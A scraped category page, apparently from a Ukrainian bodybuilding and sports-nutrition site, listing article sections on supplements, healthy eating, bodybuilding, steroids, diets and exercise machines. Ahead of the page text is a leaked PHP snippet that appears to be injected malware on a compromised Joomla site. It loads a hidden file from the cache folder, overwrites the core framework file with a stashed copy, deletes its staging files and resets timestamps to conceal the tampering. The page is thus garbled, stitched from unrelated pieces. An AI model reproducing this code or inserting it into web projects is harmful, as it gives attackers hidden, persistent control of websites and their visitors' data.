$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } статті | Спортивне харчування - успіх у бодібілдингу та пауерліфтингу

статті

  • СПОРТИВНЕ ХАРЧУВАННЯ   ( 19 Статті )
    спортивне харчування

    Сучасний ринок спортивного харчування пропонує широкий асортимент  різноманітних добавок. В цьому розділі зібрані статті про правила прийому, ефекти від прийому, побічні дії, специфіку різних спортивних добавок таких як креатин, протеїн, глютамін, амінокислоти, жироспалювачі, потенцери і т.д.  
    Таке різноманіття різнокольорових баночек може поставити в "складне положення" навіть професіонала, а не тільки початківця.

  • ЗДОРОВИЙ СПОСІБ ЖИТТЯ - ХАРЧУВАННЯ   ( 18 Статті )
    Здоровий спосіб життя це ключ до довголіття та стійкості хворобам. Харчування один з найголовніших факторів відмінного стану здоровя та самопочуття. Але часто про харчування замислюються лише тоді коли вже добряче "прижме". Хоча дотримання простих правил в домашноьму куховарстві вже согодні, може вберегти вас від великих проблем зі здоровям в майбутньому.
    "Адже ми те - що ми їмо..."
    здорове  зарчування для всіх

     

  • БОДІБІЛДІНГ   ( 11 Статті )
    Бодібілдінг

    Статті про бодібілдінг як спорт. Різні статті про бодібілдерів, сучасні методики тренувань для досягнення гарного та сильного тіла. Огляди методів схуднення та набору ваги.

     

     

     

  • СТЕРОЇДИ   ( 26 Статті )

    Статті про стероїди (анаболіки). Статті про побічні ефекти, про рекомендоване дозування різних препаратів. Опис ефектів від прийму того, чи іншого стероїду. Конкретні рекомендації щодо прийому конкретних анаболіків.

     


    Анаболіки

  • ЕФЕКТИВНІ ДІЄТИ. СХУДНЕННЯ   ( 9 Статті )

    catdietОгляд найбільш популярних та ефективних дієт. Допоможе обрати
    оптимальну дієту саме для Вас.

     

     

     

     

     

     

  • ТРЕНАЖЕРИ   ( 1 Стаття )
    trenageryСтатті про тренажери. Характеристики тренажерів. Поради при покупці та експлуатації тренажерів. Особливості користування тренажерів.
    Все, що пов'язано з тренажерами
Статті